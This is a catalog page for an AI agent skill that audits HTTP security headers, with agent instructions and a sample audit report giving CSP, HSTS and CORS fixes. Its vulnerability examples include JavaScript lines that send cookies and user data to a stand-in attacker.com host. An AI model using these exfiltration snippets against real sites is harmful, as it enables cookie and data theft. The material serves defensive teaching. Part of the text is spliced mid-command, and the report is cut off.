Install
$ agentstack add skill-curiouslearner-devkit-security-headers ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
Security Headers Skill
Validate and implement HTTP security headers to protect web applications.
Instructions
You are a web security headers expert. When invoked:
- Analyze Security Headers:
- Scan HTTP response headers
- Identify missing security headers
- Check header configurations
- Detect misconfigurations
- Validate CSP policies
- Review CORS settings
- Security Assessment:
- Rate header security posture
- Identify vulnerabilities
- Check compliance with best practices
- Test for bypass techniques
- Validate header syntax
- Attack Prevention:
- XSS (Cross-Site Scripting)
- Clickjacking
- MIME-sniffing attacks
- Man-in-the-Middle attacks
- Information disclosure
- Cache poisoning
- Protocol downgrade attacks
- Compliance Checking:
- OWASP recommendations
- Security standards (PCI-DSS, HIPAA)
- Browser compatibility
- Performance impact assessment
- Generate Report: Provide comprehensive header analysis with implementation guidance
Critical Security Headers
Content Security Policy (CSP)
Purpose: Prevent XSS attacks by controlling resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
Directives:
default-src: Fallback for other directivesscript-src: JavaScript sourcesstyle-src: CSS sourcesimg-src: Image sourcesfont-src: Font sourcesconnect-src: AJAX, WebSocket, EventSourceframe-src: Iframe sourcesframe-ancestors: Pages that can embed this pagebase-uri: Base tag URLsform-action: Form submission targets
Strict-Transport-Security (HSTS)
Purpose: Force HTTPS connections
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Parameters:
max-age: Duration in seconds (recommended: 31536000 = 1 year)includeSubDomains: Apply to all subdomainspreload: Include in browser preload lists
X-Frame-Options
Purpose: Prevent clickjacking attacks
X-Frame-Options: DENY
Values:
DENY: Cannot be framed at allSAMEORIGIN: Can only be framed by same originALLOW-FROM uri: Deprecated, use CSP instead
X-Content-Type-Options
Purpose: Prevent MIME-sniffing attacks
X-Content-Type-Options: nosniff
X-XSS-Protection
Purpose: Enable browser XSS filter (legacy, CSP is preferred)
X-XSS-Protection: 1; mode=block
Note: Deprecated in favor of Content-Security-Policy
Referrer-Policy
Purpose: Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
Values:
no-referrer: Never send referrerno-referrer-when-downgrade: Default behaviororigin: Send only originorigin-when-cross-origin: Full URL for same-originsame-origin: Only for same-origin requestsstrict-origin: Origin only, not on HTTPS→HTTPstrict-origin-when-cross-origin: Recommendedunsafe-url: Always send full URL (not recommended)
Permissions-Policy
Purpose: Control browser features and APIs
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
Cross-Origin Headers
CORP (Cross-Origin-Resource-Policy)
Cross-Origin-Resource-Policy: same-origin
COEP (Cross-Origin-Embedder-Policy)
Cross-Origin-Embedder-Policy: require-corp
COOP (Cross-Origin-Opener-Policy)
Cross-Origin-Opener-Policy: same-origin
Usage Examples
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
Header Scanning Commands
Using curl
# Check all headers
curl -I https://example.com
# Check specific header
curl -I https://example.com | grep -i "content-security-policy"
# Follow redirects
curl -IL https://example.com
# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Hijack session
window.location = 'https://attacker.com/phishing';
Recommended Configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
Implementation:
Express.js:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));
Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
Apache:
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"
Testing:
// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
Priority: P0 - Implement immediately
Strict-Transport-Security
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - MITM attacks possible
Current: Not set Impact:
- No forced HTTPS
- Vulnerable to SSL stripping attacks
- Man-in-the-Middle attacks possible
- Session hijacking risk
Vulnerability Example:
User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerable
Recommended Configuration:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Implementation:
Express.js:
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
Nginx:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Apache:
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Prerequisites:
- ✅ HTTPS fully working on all subdomains
- ✅ Valid SSL certificate
- ✅ No HTTP-only subdomains you want to keep
HSTS Preload Submission:
1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload list
Warning:
- Start with short max-age (e.g., 300) for testing
- Increase gradually: 300 → 86400 → 2592000 → 31536000
- Preloading is difficult to undo
Priority: P0 - Implement immediately
Permissions-Policy
Status: 🟠 MISSING - HIGH Grade: D Risk: Medium - Unnecessary API access
Current: Not set Impact:
- No control over browser features
- Third-party scripts can access camera, microphone, location
- Potential privacy violations
- Unexpected resource usage
Recommended Configuration:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()
Implementation:
Express.js:
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});
Nginx:
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;
Custom Permissions (if you need specific features):
# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()
# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
Priority: P1 - Implement within 7 days
Cross-Origin-Resource-Policy
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Resource-Policy: same-origin
Implementation:
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});
Values:
same-origin: Only same-origin requests (recommended)same-site: Same-site requests allowedcross-origin: All origins allowed
Priority: P2 - Implement within 30 days
Cross-Origin-Embedder-Policy
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Embedder-Policy: require-corp
Priority: P2 - Implement within 30 days
⚠️ Misconfigured Headers (2)
Access-Control-Allow-Origin: *
Status: 🔴 CRITICAL MISCONFIGURATION Grade: F Risk: High - Open CORS policy
Current Configuration:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Issue: This configuration is dangerous and invalid. Wildcard (*) cannot be used with credentials.
Vulnerability:
// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
credentials: 'include' // Sends cookies
})
.then(res => res.json())
.then(data => {
// Attacker steals user data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Correct Configuration:
// Express.js - Dynamic CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
Using CORS middleware:
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));
Nginx:
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
Priority: P0 - Fix immediately
X-XSS-Protection: 1; mode=block
Status: ⚠️ DEPRECATED Grade: C
Current Configuration:
X-XSS-Protection: 1; mode=block
Issue: This header is deprecated and can create security vulnerabilities in some browsers.
Recommendation: Remove this header and rely on Content-Security-Policy instead.
Migration:
// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
xssFilter: false, // Disable deprecated header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));
Priority: P2 - Update configuration
Security Grade Breakdown
| Category | Score | Grade | |----------|-------|-------| | XSS Protection | 20/30 | D | | Clickjacking Protection | 10/10 | A+ | | HTTPS Enforcement | 0/20 | F | | Information Disclosure | 15/15 | A | | CORS Configuration | 0/15 | F | | Browser Features | 0/10 | F | | Overall | 45/100 | F |
Attack Vectors Still Possible
1. Cross-Site Scripting (XSS)
Risk: CRITICAL Reason: No Content-Security-Policy
Example Attack:
https://example.com/search?q=alert(document.cookie)
Mitigation: Implement strict CSP
2. Man-in-the-Middle (MITM)
Risk: CRITICAL Reason: No HSTS header
Example Attack:
1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials
Mitigation: Implement HSTS with preload
3. Cross-Origin Data Theft
Risk: HIGH Reason: Permissive CORS configuration
Example Attack:
// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate data
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});
Mitigation: Restrict CORS to trusted origins only
Remediation Plan
Phase 1: Critical (Immediate - 24 hours)
1. Fix CORS Misconfiguration
// Remove wildcard CORS
- Access-Control-Allow-Origin: *
// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com
Testing:
# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
-I https://example.com/api/data
# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
-I https://example.com/api/data
Risk: Medium (may break integrations) Estimated Time: 2 hours
2. Implement HSTS
add_header Strict-Transport-Security "max-age=300" always;
Testing Period: 5 minutes (max-age=300) Full Implementation: Increase to 31536000 after testing
Testing:
# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security
# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://
Risk: Low Estimated Time: 1 hour
Phase 2: High Priority (Within 7 days)
3. Implement Content-Security-Policy
Week 1: Report-Only Mode
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
Monitor violations for 7 days
Week 2: Enforce Mode
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...
Testing:
# Check CSP header
curl -I https://example.com | grep -i content-security-policy
# Verify CSP effectiveness
# Open DevTools Console, check for CSP violations
Risk: High (may break functionality) Estimated Time: 3-5 days (including testing)
4. Add Permissions-Policy
Permissions-Policy: geolocation=(), microphone=(), camera=()
Risk: Low Estimated Time: 1 hour
Phase 3: Medium Priority (Within 30 days)
5. Implement Cross-Origin Headers
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Pol
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [CuriousLearner](https://github.com/CuriousLearner)
- **Source:** [CuriousLearner/devkit](https://github.com/CuriousLearner/devkit)
- **License:** MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.